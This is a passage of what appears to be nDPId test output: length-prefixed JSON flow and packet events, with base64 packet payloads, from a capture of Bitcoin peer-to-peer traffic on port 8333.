+00499{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":216,"source":"bitcoin.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":19,"flow_first_seen":1301327937725,"flow_last_seen":1301327939000,"flow_tot_l4_data_len":22798,"flow_min_l4_data_len":52,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1199,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.142","dst_ip":"188.165.213.169","src_port":55317,"dst_port":8333,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00586{"flow_id":4,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":217,"source":"bitcoin.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1301328547,"pkt_ts_usec":454028,"pkt_caplen":182,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":182,"pkt_l4_len":148,"pkt":"ACNshovhACPrIpS0CABFAACoNBdAAG8Gf6hCRFMWwKgBjiCN2Ff1mJ7FLY+1yIAY\/5Y30gAAAQEICgBK8FMnMvLS+b602WFkZHIAAAAAAAAAAB8AAADFd1QeAe2xkE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/z+VNnggjfm+tNlpbnYAAAAAAAAAAAAlAAAAbpdHCgEBAAAAAJFuNNZN7lTuzzmknwSYKbRCQJGJA0EJPn0yPmuOS08="} +00511{"flow_id":4,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":219,"source":"bitcoin.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1301328570,"pkt_ts_usec":154412,"pkt_caplen":127,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":127,"pkt_l4_len":93,"pkt":"ACNshovhACPrIpS0CABFAABxNJNAAG8Gf2NCRFMWwKgBjiCN2Ff1mJ85LY+1yIAY\/5akrAAAAQEICgBK8TgnMvMu+b602WludgAAAAAAAAAAACUAAABwZvzNAQIAAADeIqDjYKdDJQkrvsZjbQFePaqBy15E2soqxwAAAAAAAA=="} +00488{"flow_id":4,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":224,"source":"bitcoin.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1301328607,"pkt_ts_usec":247543,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"ACPrIpS0ACNshovhCABFAABgbHFAAEAGdpbAqAGOQkRTFthXII0tj7XI9ZifdoAY\/\/8FCwAAAQEICicy9YMASvE4+b602XZlcmFjawAAAAAAAAAAAAD5vrTZZ2V0YWRkcgAAAAAAAAAAAF324OI="} +02387{"flow_id":4,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":225,"source":"bitcoin.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1301328607,"pkt_ts_usec":438069,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ACPrIpS0ACNshovhCABFAAXcLGNAAEAGsSjAqAGOQkRTFthXII0tj7X09ZifdoAQ\/\/+mDQAAAQEICicy9YUASvKu+b602WludgAAAAAAAAAAAOEiAABkvZwx+AIAAABFiTkTY5PJuRxXesPSEgWSWJkOf7htrEDFmgAAAAAAAAIAAADIZDttpSJjmfnJjOOUro\/i7dYwtxydXuTKUQAAAAAAAAIAAABJhVPCzUic+Co2Vc6FPhtZGlG5bFU8srzFsQAAAAAAAAIAAADih\/mwSEaas8PAUoxi98SqBw1pl6zx9+KSAAAAAAAAAAIAAADx2nnbso9OWkDIaD1U\/tSPK5cLtPOiz3tQSQAAAAAAAAIAAACx35t6ApOMyBB8+Av2TuCxJmheCsNRL4LloQAAAAAAAAIAAADybjNSCCxUcacA1uWO9MdYAhlYn5grbsJVNgAAAAAAAAIAAABbUbugk08F6GdDk4QEMWqdqwwkUAAGJE6AqgAAAAAAAAIAAABZ+dwClXGsMEkahY43JnztmCIfw+i2iMockwAAAAAAAAIAAABe+yvWo0fUjizWmgJuq\/0WFyH1qBIgbyvTAAAAAAAAAAIAAAD1es+2uCA3bnwKQXiFVOBZ8P5cX1wyIgpjDwAAAAAAAAIAAABIKe\/TgOoEvHNuXS3fkxdHslpd1joazIXHcQAAAAAAAAIAAABmLSL405NfeTVihjNMLLz4kGCdXCOgpfNXRwAAAAAAAAIAAADV7gKUYulvnqTu8I2UzH\/27JG53UPtv4bEcgAAAAAAAAIAAADuCMHG6qR3ZBIgx9i3D3xgF96XCXpRVDB\/bAAAAAAAAAIAAACZyRUw4Hu9Oqx+KdUgp9ilYqS8Zz2oukbRtAAAAAAAAAIAAABGCl6BYybHlyVF\/BCvtouhJG4KTI3zs4zDTwAAAAAAAAIAAAA7VZ2BmEUezklAK4E4FtaUtPH1atF9ygS5wwAAAAAAAAIAAABSJ2Kx35mzceEJYbVMlGcLkZOBH6+hgCC9EgAAAAAAAAIAAABz4kU8pAY1D9KGi2MNMEFvnHoFKt0pAUpf1AAAAAAAAAIAAAB9Tu36GjggfcMjXzGy2g7n5ikUD\/FXr+FxjwAAAAAAAAIAAADlSVmBNV0j\/ANquRNxf5fkwIq9KhS30wsOLgAAAAAAAAIAAABQl0+arTPmbON19+5a6jlE3Qh6tpPZwfvYMwAAAAAAAAIAAABrUpkQQuD\/MqaZSVe9rk3j5uzFbyIPezq3FQAAAAAAAAIAAADn\/DUCwY\/fc40h2z9YuP1\/wxpnO97mwOefQgAAAAAAAAIAAACOmwEWRe2fQ0wxJaSTP5WNsKCDF1gkL+qDdAAAAAAAAAIAAACRcBwZZquifqJyauy1rtd+wkcgjx8+e9GCUwAAAAAAAAIAAABaSL7JaRBaZ0VmBviSv3zH4N5aNL4FLCqZYAAAAAAAAAIAAAApzVLmEclFv+Ag04YCaYSWU4rxyiIpwKBOEAAAAAAAAAIAAAAUd8esfuOd+PX96zi+qjbYXTwPl\/ZxjuQE2AAAAAAAAAIAAABaA0BgP0dy5x7YqLEBsa4eu+JeYa1vNkfjrAAAAAAAAAIAAACJhwZMcLtIqW1KeCTav\/tIWcCAgFn600S1oQAAAAAAAAIAAACLF8oxiP8DhIrgNMXHBG0RYdMSsV0DfarJyAAAAAAAAAIAAACY+N90DRYFtG2yL\/lPRrhRee0\/FZuV9NcKBAAAAAAAAAIAAABPdTl0NV1zar4e7h\/G555Fzh\/7BO8RkEEwDQAAAAAAAAIAAADvaXQ9a7V9KT65Lh8YK1gxARC1Zc0P6+M5CAAAAAAAAAIAAADiWuPP24dtBLNeQJnGLfSsbsCm6FkXFit5qgAAAAAAAAIAAAAdvtJW\/PZ9tJM8rgIiYjrufv1aoNK4QHcqxQAAAAAAAAIAAADd\/2V1XZIvgJTYWvGklGkoDZT1z8BJJazRjwAAAAAAAAIAAABmts1nklDh6B5d7TGtYN4="} +02388{"flow_id":4,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":229,"source":"bitcoin.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1301328607,"pkt_ts_usec":654525,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ACPrIpS0ACNshovhCABFAAXckC9AAEAGTVzAqAGOQkRTFthXII0tj7uc9ZifdoAQ\/\/+JdQAAAQEICicy9YcASvKxFR2eg8y6oJzuZMQAAAAAAAACAAAAhsk0znkeeWemKwanXjpNh7+8VbZpkGmrhD0AAAAAAAACAAAA4aTnKlqUSuNHiwauL6y3Fg7PxH5cceBHb8cAAAAAAAACAAAARqgPEyGafV0I4DUCXrgxk095YditlvnxwYIAAAAAAAACAAAAieAGQI+wROGRzI6XzzAgMkSaU\/ue9NOcbqwAAAAAAAACAAAAQHUUcCXp+o1\/4tG+3cLo+HTp3XWUcFMLK6UAAAAAAAACAAAA11sCET\/bF5hneBBUmx2eCSCATEQE++\/cAFYAAAAAAAACAAAARBwgoVsFJGZbyGqzLQDHLwTnP0yu9kmYBsQAAAAAAAACAAAA7fbisFUyVzT0WrsKTalF53x9oCfgceIPtl4AAAAAAAACAAAA5lAD8xKoqF7LXnMznGwzcduOIOz2iKC2i2YAAAAAAAACAAAAdIH\/fxbjq54ejJ3JIX8SMYigjJeDA+FkvagAAAAAAAACAAAAW42nDju3oSWSlVVgbsLFWSQF\/AXMPSEFy1MAAAAAAAACAAAAYyrcmmarm9GuEF601xDgV5SMLjMj6FeA18kAAAAAAAACAAAAgHrF0ZeiMcDsleawM65itMYMFdBAoeqtZWEAAAAAAAACAAAAGdwnvN44z9nAf2JFRSmss9pj3WU+v\/autS0AAAAAAAACAAAAQ1032nh4WU82qEwvci3P8dbREPL9HizLCG0AAAAAAAACAAAAx8QnFJRV79Z8Rv1J9ZU+81EM9WkGlutJ65UAAAAAAAACAAAAYsv7LCM+OCMZSBSimz0T7VF7SQUfHR9RezgAAAAAAAACAAAAfguuGyU7XV9Sf8wpnWAcNTiLvntSR+VLASwAAAAAAAACAAAAg452gQH7wX1ZHIGBFutZu5k3LOPj2B+zV0IAAAAAAAACAAAA\/Eo6c5f6WPlxUqMFNDuC8Sp\/y\/QbDFyrJ9AAAAAAAAACAAAAvBVDh\/1YzE8Xj4eAKYgWrAR6JXlCAt5kB34AAAAAAAACAAAAJm2amLB9IE5Q5H33ytYDcGJof43DlaiXAakAAAAAAAACAAAAwc61Y+J9j1lcSj6h0J5e5HuIy3Tgxse8V7MAAAAAAAACAAAA7WM7EmIPcyfuQJ7f7yNdsifxi\/o\/HRGXWZAAAAAAAAACAAAAkT5s24rlRERYEz13ndyEzw4pLuGjOwAWdo8AAAAAAAACAAAAQ9aSaAQmp4OBfJppVsIIHlGYrJ\/8t9c3ekMAAAAAAAACAAAAMMZq7pHSFHJcumRX50A0YWaLPYPbsLckeqkAAAAAAAACAAAAtBDQ9MvLb4afz9zHz6APCmZG2FWCQsFXppgAAAAAAAACAAAA19m+cfXmm7yYTklQODRl\/pJq1Ckl0XagGB8AAAAAAAACAAAAT6X1IoyMQlHXPkCxvudSuW8\/MSrfh0PAOooAAAAAAAACAAAA0Q1OmSJBHp9+vjpiUvlPxr0kp7JbaWNbfD8AAAAAAAACAAAAOLjpdw99OXygSljZES+IuchYo1kc3AsRcjcAAAAAAAACAAAAp4ZGsc8DTHLJhch0nVK\/hZRxY2\/7gTZkTX8AAAAAAAACAAAA8h9UNvbqbQRCT\/luMD18f\/WxNzsO8E4CRhoAAAAAAAACAAAA\/yxDoIbTiDQ+xqNEVJb+dMrTTtxk+ozoJ1EAAAAAAAACAAAAcXgFbqWZ9HT9SW+YRMc213Kk9KltCYMwgakAAAAAAAACAAAAWFLZyIi3uzJBwbhWNE+lBmF5lACr5qMecUoAAAAAAAACAAAAipOOgLVLHVhGhyTrtqCoOmUKBa2OSrWjXVcAAAAAAAACAAAAKt8FXefN\/eJUXPF4eG+5+TXTSt+Vh\/xlbWIAAAAAAAACAAAAAfXL7NXiXjU+VeuiaAxu7RGxeQxpWt8="} +02386{"flow_id":4,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":230,"source":"bitcoin.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1301328607,"pkt_ts_usec":654577,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ACPrIpS0ACNshovhCABFAAXcpxVAAEAGNnbAqAGOQkRTFthXII0tj8FE9ZifdoAQ\/\/+AzQAAAQEICicy9YcASvKx2mCmAAAAAAAAAgAAAH1w5Ghjuyz5fCjUMWcbO3c+CtpZLq5TZ363AAAAAAAAAgAAAKmK01WZLuwYv5HTkj7j8ZtBce9\/sbZW3i0yAAAAAAAAAgAAADJJ2oRAHarnv27Tzd4+sfvE7ZKsEjU7HbA5AAAAAAAAAgAAAPoJyMogYOp6rV0Pwjd8Da8mEjnhEu74bk+qAAAAAAAAAgAAAKxBiqrg+FafLnvgG6yg4VuyGssYeuMWo+a5AAAAAAAAAgAAALywHE6+Gg\/BGvWE3zet9Lg8nYkRsEHwYehFAAAAAAAAAgAAAFovWcWAKDXfNm\/ZepGv2jrLZ\/FbrdyDe4pQAAAAAAAAAgAAAOmwL2VzByLY+ib9a0qh8E+daW6\/Q+Jw3LjYAAAAAAAAAgAAAIzrbO\/FWz264+uuS8o\/ATGKU32u7HVpmcsoAAAAAAAAAgAAADkKOTk\/8og\/7tQLhXo5scH5FL87vdooVK1yAAAAAAAAAgAAADRRqP8+riewG4t4X1lTRI9UBEqa3iw5vLrDAAAAAAAAAgAAAJ+RYr9zDYRpaxosiXFupQ5UYBDX9uOvPWswAAAAAAAAAgAAAN6n+XTlfBHHtMAn8963I0DZ\/IldovqLo1wyAAAAAAAAAgAAAMrt09zVnPp+xJrcOEqfQ86aC0JmVlEVKJ5XAAAAAAAAAgAAAPhIeDdqHmVck\/jCoL1Alkh1wm2F4dbCY1w0AAAAAAAAAgAAAI3Yv\/9Sqeic8J7FyyC1YZpRl0OGasTCoDV9AAAAAAAAAgAAADvB5Yj\/V3rAkvLpBgHwSMMsnfcwgdn7MGWdAAAAAAAAAgAAAL7KqOqUdL6E96jWelBd78JUs6RHuzNKHsYpAAAAAAAAAgAAAK+OIEGVGkLyhAAi7IEwDW7qv1gIRFu5lFJdAAAAAAAAAgAAANLDAOq7tPl4u7sSpG0WUd9kLgzt8htWzVIeAAAAAAAAAgAAAGoHG\/jzY5RGUdriX2oLTdbJghWahLDx0j+PAAAAAAAAAgAAAEwmUOBLEwrrnD55gDYwlGKRHvdkSWSlubpOAAAAAAAAAgAAAHz0JVzylPyU34s1NdQuHykITRcQNUqZKXuFAAAAAAAAAgAAAG1NObfar1VHDod8DixSgdqZDhTJ9ro\/WjVUAAAAAAAAAgAAAHbSxDssR8EjE9emT5rql3ezh0QooGWiCYqYAAAAAAAAAgAAAC3RqpFdT4akELyHD7oXsoQsQ48vVgfpoZkgAAAAAAAAAgAAAP0eMqEzaKDSuwxOX3pORueeu8FXDH\/sxYAtAAAAAAAAAgAAAHbCgX4puJEJKwdNjcJsVE8bRhKXrLe+zfGjAAAAAAAAAgAAAG0A9RMD22WeLAjbJE+htKRJvFqY9gXts8wyAAAAAAAAAgAAAKzRc1ZlrTdk9HZw36T8quhY2YJe8EzauscmAAAAAAAAAgAAADoi1un3qhMbBTTq7rubXemDhFZdoh0T+5\/VAAAAAAAAAgAAAIXFqc\/BgP3fqSjW3eS3ia0Zht1T\/qH3+t+NAAAAAAAAAgAAAJ6CILX7XEtT0tTh2OjfnOZEmw\/YNuuuG8pdAAAAAAAAAgAAAHQsraeRNPQrCup5F+oOOBe05ND9H+9rhPBmAAAAAAAAAgAAANbaoGJZoyMJ2voLR4hUJdAABeeO4krMsGuQAAAAAAAAAgAAAEYfkF5KghGRSvfjXaYVI4n7hsjq8nM9H+g+AAAAAAAAAgAAAMFp8nxp2pAiX7U0OUC1TQYMVCQnwiZI74WnAAAAAAAAAgAAALDeQAENgqv62p9bCSUL4OJIYCeeHinyr2VUAAAAAAAAAgAAAD04tEh1rxDnScvEI4v+ScJy8UH10AvL1o9AAAAAAAAAAgAAAM8\/uiLI2NSKVmyB2A+eRbK4PqVbD65lrSqzAAAAAAA="} +02382{"flow_id":4,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":232,"source":"bitcoin.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1301328607,"pkt_ts_usec":711361,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ACPrIpS0ACNshovhCABFAAXcPyxAAEAGnl\/AqAGOQkRTFthXII0tj8bs9ZifdoAQ\/\/\/SMAAAAQEICicy9YgASvKxAAIAAABFXWrQVvbsNkns2a60x2USdIEqERXbJOrvNAAAAAAAAAIAAAA7vQ5BosUPrVZjKdAL7zX\/8bYb7ynMEIjweAAAAAAAAAIAAAAGqi1mPljOLodCHxF6Ou2vTSpac5YgrZnZOgAAAAAAAAIAAADqFZvMCZZ\/a9ywCi78JveOO3nLdosTGXsSwQAAAAAAAAIAAAAMEGCF\/hpFzlDVs2g1iJ5taZJUXL5CmJ3SbgAAAAAAAAIAAAAAdluO5YenjS24zFCzQPee8W6dInFD5HEBnQAAAAAAAAIAAACjJFKK4B\/yWs7ctWWvrEMK+v0wNPYchkwhKwAAAAAAAAIAAABfWAmBUPnup5qbH54NdI\/RWd6CH\/GdXrNsjQAAAAAAAAIAAADplT2BbwlOD1ps8kZW65H\/4Huj320brOdopgAAAAAAAAIAAACuOivLFcMPpAPVrEoDU8pnsWW5\/ykQzsKPxQAAAAAAAAIAAAAnSBVp21x6mdQcUx1S+ahnf3OnQKYc665D1gAAAAAAAAIAAACSYU6326UHTpv7qhNuO2JaRnWIxGpSIOgJCAAAAAAAAAIAAAD0nXz6cSTMNqlGPTX3FRFmEDpBnnnt99OBHQAAAAAAAAIAAAC6+qIVF8vuk2w0Rb7dJavDNKS69bLja2q12gAAAAAAAAIAAADEOWT2Ywk1crHBBydOzVuwDcubchV08Y8OOQAAAAAAAAIAAAAOSO5tTwbb6OzN6H+erjXLWrf22APdlzvIfQAAAAAAAAIAAADoyi8dRUSAsXVFgF791wqLAKNkEbFYWZWbgAAAAAAAAAIAAAAYjYz3svKKCQns+8WL1KiwCTzjxsMtUUaUTQAAAAAAAAIAAAC8zHbvusn\/qMwPevgImBolikor0VwsFUCHpgAAAAAAAAIAAACv3KpKMl+ijpkxZrFOw7ciCfxDs75qXZ72ZAAAAAAAAAIAAABowWa\/1GMHQdCi+oklGG87PU8RIeTysoYqzQAAAAAAAAIAAACCYhOAeRGwBd6igekmXmjZQ9n5goY7FhjwZgAAAAAAAAIAAADxUG8QM4iDbh7KDt9layio5c8LK+SG\/Ym5VAAAAAAAAAIAAADDuAj5bKDwSwO5UvrXtIb8WqV4HsPLzQ5GTQAAAAAAAAIAAAAY+\/66TYTZjXmOpfUhRxEP2cNymRa8\/Xy6LwAAAAAAAAIAAAAbbtV4Ay+st5InKyWzHDEIt1t0H9RjsunBVgAAAAAAAAIAAAB6BnYbNyRzzF9WftQAGQGs1GVNCezHUwFeXQAAAAAAAAIAAAAhiY5anJvYbwRkDMilI7IvixoMtHi5HLw9DAAAAAAAAAIAAADvRQYQ4xzuC38YOC50jx8jCcQSG4rIA5QYNAAAAAAAAAIAAABuxDLr5ytlG5o7h7aM2H22kGQ63dMNHRPmJAAAAAAAAAIAAADCnmpa8zS1EU1m6PeYNfQenQMpNQHkNLOwAgAAAAAAAAIAAAA6im5LaQX5bjnxssIowVQCqcC3PTTlemSH2gAAAAAAAAIAAABONaL05PGrCZCiLMJT9TceNPfFCaeVVTL2UQAAAAAAAAIAAAA1njrXZVFJfpt+9PZGDvunpt5K4ONsrTxAUgAAAAAAAAIAAABtYFxGi2AlJN+wH098UTAMQXOXqZ87R2jj0wAAAAAAAAIAAABVQXp3GZqlfD2FuA01ZVVgoB36zWjTENj9qQAAAAAAAAIAAAB24isj6w7wDydRnk59Wpfr32VhlmoeN7busAAAAAAAAAIAAACUyQAGytrUXoGjfGl3bv0Shkw\/FRfD402MrAAAAAAAAAIAAAAzQ6lUOCMSqFeuggfL6RJwfdyxGmww\/ggnVQAAAAAAAAIAAADUAspZjCHP5ZRVQuBNuzlPyh65KkHNNyhghwAAAAAAAAIAAABs7h4="} +02382{"flow_id":4,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":233,"source":"bitcoin.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1301328607,"pkt_ts_usec":711410,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ACPrIpS0ACNshovhCABFAAXcJD9AAEAGuUzAqAGOQkRTFthXII0tj8yU9ZifdoAQ\/\/+PywAAAQEICicy9YgASvKxmVcFxDFfQ5QM+wBQVi4XhpE1JOvKxQ4AAAAAAAACAAAAeofg4x3BOmbhJMcrG4lyRxQ0Luvde6DUCgQAAAAAAAACAAAAnMVr+zENEcy\/TpeJtCIxdNFFpv6B6AtuLasAAAAAAAACAAAA710bwB86zZtImzM+q6TvjBVEldeLosFX5XgAAAAAAAACAAAAfgdKXLFPCU\/ciPboU\/bfbZBrN4s\/KvSmkLkAAAAAAAACAAAABpwlm9+bNo1xdH1ig4QNEjdvplj8HcVyJ7QAAAAAAAACAAAAZsNolgLGpaHCT15sy0FxlsmhMc9AG7rNf68AAAAAAAACAAAAgDQFngLlSLH7Mw6L+wuIlU9XqiNjyUWP3iIAAAAAAAACAAAAE0Zp+mQALv+gWA9KuITTBtFdxQIlbgV6nw4AAAAAAAACAAAAkYipan7uLlrNHRfIt8AS0md7bbqTS85bfbAAAAAAAAACAAAAUvsDQMH1LMf61x+6th\/o8N8aHkr7wr8ECQcAAAAAAAACAAAArKo3+zDpxlL2nEP\/3d1oS9iutturX4B52nEAAAAAAAACAAAARfzjwiPeZ0flmgweGmX2tJVQwL8MvknAoykAAAAAAAACAAAASB5euyMIlfGEtj3qEE5TYjHr2z1bccGqn4cAAAAAAAACAAAAeVnBbHwqpKyK1rcCdXTEWJntYcK3okUpOTQAAAAAAAACAAAA5KgJjoa5ei\/vYUOuWIWTRjHK3LfoehnZHCgAAAAAAAACAAAA5IbidwMDw5BgR15kcqqEoL2z3qC2QzUvTL4AAAAAAAACAAAAdkBslBkKiy3\/LmRyFa86NDmuE7G6H352Tb8AAAAAAAACAAAAhP085R0B6efS4IxDBy\/OsTK8Kqga2MJ5PbcAAAAAAAACAAAAO02KVrR6aE2rfE+ZFdYPcOTmaqRkWQZS6qwAAAAAAAACAAAAf5Y6XGhmU49OzkTrh1iU1guiCZCVvcOZYy8AAAAAAAACAAAA4NoGbNcr1NNbzpyDtUfMmpVsQUyJj1203NQAAAAAAAACAAAAyc3j05VK8McSh\/T0XvY3yMLZ0UOY6GQdhU4AAAAAAAACAAAAe1098SMwfT8bLgiHrFJ0MbhlWXMd\/4agSDwAAAAAAAACAAAAqgwFqWUyklZ7fPjvSnfO1R619bvAQk7g5J8AAAAAAAACAAAAIiwS6RZvsmDWMdAA6GTGKsp8Iyxxknayuh0AAAAAAAACAAAAPTVzJGF4TyrxgaUSCX8Jut\/vdKByuQhlGMIAAAAAAAACAAAAwp9Cm8B2W7AD54HiaJ+JRuLynlAjoS380B8AAAAAAAACAAAAc20bFearSkapJgTgs9ecd1xBog0bdmvDmncAAAAAAAACAAAAvbaZ9Jy3L747GMKaga0N06XTw7JKDSRzuUgAAAAAAAACAAAAwnWTLeXALAn5w522q9P6YECo3KeVee1+AskAAAAAAAACAAAA9g09piEVm9shum6Wx\/vXXRX2dYjcZRZndg8AAAAAAAACAAAAblpXvCT19Mg7oMJUKnA5eS6MrHg1EaY1GTMAAAAAAAACAAAAtmRuSOhKGer96r4S5OxzpmyFeRRnsLhls9gAAAAAAAACAAAA03L1iEnzDxJ+X\/J1L0686vfCTgcl9fSiPTYAAAAAAAACAAAA\/HRKISCabq0Vp7Sd0UrVPJNd7ay6JPNmFYkAAAAAAAACAAAA3uU\/6OpiQVvuxrqCp5kNJ5MWMjwuAiyIkzUAAAAAAAACAAAA6YxFzypDqvOqMmmO28qUmZtxNZcaEvdNsSIAAAAAAAACAAAAjmtOep5Jyv5WwgTsbq+ENSueNskEjU\/pz7oAAAAAAAACAAAAf7o6uor2Pud9ASRI9Ci5qBCvf8cdKTVwxJIAAAAAAAACAAAA0PTviA2h0VgW0JA="} +02382{"flow_id":4,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":234,"source":"bitcoin.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1301328607,"pkt_ts_usec":711425,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ACPrIpS0ACNshovhCABFAAXcTRJAAEAGkHnAqAGOQkRTFthXII0tj9I89ZifdoAQ\/\/+W6wAAAQEICicy9YgASvKxEtbia+zAFosRvZlvRWFdAAAAAAAAAgAAAK+N8wyz2+NyPC3uk2aC4K9BtrDiHxRn9pIpAAAAAAAAAgAAAI4oDWrqj19GZPIOEvbFhc+FeqUzigDwvsoSAAAAAAAAAgAAAAwX5EqvP3lTY6y+Y4WfFvLo8Wlb7gEIqk3FAAAAAAAAAgAAAKq4BMkaJPJW7ZO+o48CmY4dstKhXSuc4wS3AAAAAAAAAgAAAGehpd\/+j1eZfGi4sjd1NPkjk5aSHzeJZcIsAAAAAAAAAgAAAAjBZdUstdgIEQbRTbWr6I8hCehe0L9HyHg2AAAAAAAAAgAAAAIujaIuPzWzMwT2x8KwfoDGZuYy6w53x3qdAAAAAAAAAgAAAIV1Sc5NbUWv3lMm18LaG38MNWngifDemeQLAAAAAAAAAgAAANh5afRkPt2LVvqFCh2wDgjwZYR9WsDBT70BAAAAAAAAAgAAAEu686rHaCUU9lgnwUKVYxb6ND4tbABowLp6AAAAAAAAAgAAAJoekg5hnUdVhxDiuO4pCFiJNlZhZHh2gNGhAAAAAAAAAgAAADQVeJHeUb0JawS0q1oGY7hw6kEG0y9VAljOAAAAAAAAAgAAACZb\/tBE9BuBKW\/R61IJFrqA3LzhWTm+AwqVAAAAAAAAAgAAAKhPcwdELPBw5qHr+Nt30PbvRjDlgCWmmgKIAAAAAAAAAgAAABiQc59fQOKO5NJxxpRkoHe\/kjTN4bNq8RykAAAAAAAAAgAAAJfBeBEgW+DRP9id8mrxfkO8jnnVXMHqfXAiAAAAAAAAAgAAABBXCIVoKFDJxvVK7JR9zIZRrnrIvgC3NS8sAAAAAAAAAgAAAMIWv8HUSmiQrylpM70T6xFSwGai5UQ\/iRdfAAAAAAAAAgAAAMOD\/4A1xzCPrVUH8uPi+LbG\/8dxG\/yo7OtpAAAAAAAAAgAAANXRq4OleHWPB1XjK2hS+JU6vZInIH1P6k9YAAAAAAAAAgAAACjCbLNR7uZ40saHM6n5a83mw74PjUR+8tkJAAAAAAAAAgAAAMm7GZ8nVpaoW8+QH44jWZ\/3jZzBQiuEkkgXAAAAAAAAAgAAADOuloceXtV5\/WD7yN+wCcKKHUORl5YQGIYLAAAAAAAAAgAAAFR4YTNLv\/tOGdZZwHowmnUao3Z4dXzI5n+WAAAAAAAAAgAAABWoZ3QgEsq2F+08TICFiBBZslLLbOJzVBlJAAAAAAAAAgAAACfyAic0uO09\/h6sBmT5HdrHQe6XINUmmLIUAAAAAAAAAgAAANyF3AEQwOfXIOsNvpsIt4FJRQs4Rs7xti+WAAAAAAAAAgAAAHnVEK6Nkwoo9ATeHtFauKbkCZhn5l8ov8NlAAAAAAAAAgAAAAgEDuvLL04YGUh58QlrbLS630gILBMLNnWMAAAAAAAAAgAAANjATLDiGQXgWpPKbnsXTv\/7z2OjohpGTf8cAAAAAAAAAgAAAPHDDqAu5BtThheJpjtS0EQmcpwPO\/JLBn26AAAAAAAAAgAAAJ4LZFri6DXBQPdjJOPqIJdHXbSs6hIDJSRiAAAAAAAAAgAAAF4cmmcnuYHX7JX\/e8whhI8Anl7EmX1Uol7DAAAAAAAAAgAAAJVbzfHr5cRnQn2JRfkfPD9ObptrnH76MXB0AAAAAAAAAgAAAO5QxZ6yN8BpLlqdbynfw9B8x3J7esapJqWwAAAAAAAAAgAAADm0EvV4HVRE1W5mO7JnxVLLrvi2o07gaBA7AAAAAAAAAgAAAO5995F4t6IbrRFOIJ1eb4mgkTe+ee5TrqwhAAAAAAAAAgAAAI8qiGDXHXsjExspqHTqpKlS\/2C\/6Gevr4d+AAAAAAAAAgAAADrpi2NFLURr3H1xE4pY6mqIPsxPlafbX5SQAAAAAAAAAgAAAMug60RTMRGrrs5PR2eZr8shyTg="} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":348,"source":"bitcoin.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1301328699728,"flow_last_seen":0,"flow_tot_l4_data_len":137,"flow_min_l4_data_len":137,"flow_max_l4_data_len":137,"flow_avg_l4_data_len":137,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.142","dst_ip":"195.218.16.178","src_port":55400,"dst_port":8333,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00573{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":348,"source":"bitcoin.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1301328699,"pkt_ts_usec":728375,"pkt_caplen":171,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":171,"pkt_l4_len":137,"pkt":"ACPrIpS0ACNshovhCABFAACdK9RAAEAGd8TAqAGOw9oQsthoII1BDXcu4yOzE4AY\/\/9L7wAAAQEICicy+R8AACIN+b602XZlcnNpb24AAAAAAFUAAAABfQAAAQAAAAAAAAA7s5BNAAAAAAEAAAAAAAAAAAAAAAAAAAAAAP\/\/w9oQsiCNAQAAAAAAAAAAAAAAAAAAAAAA\/\/8mYIQeII38Ree1v7hQ3gC4wAEA"} 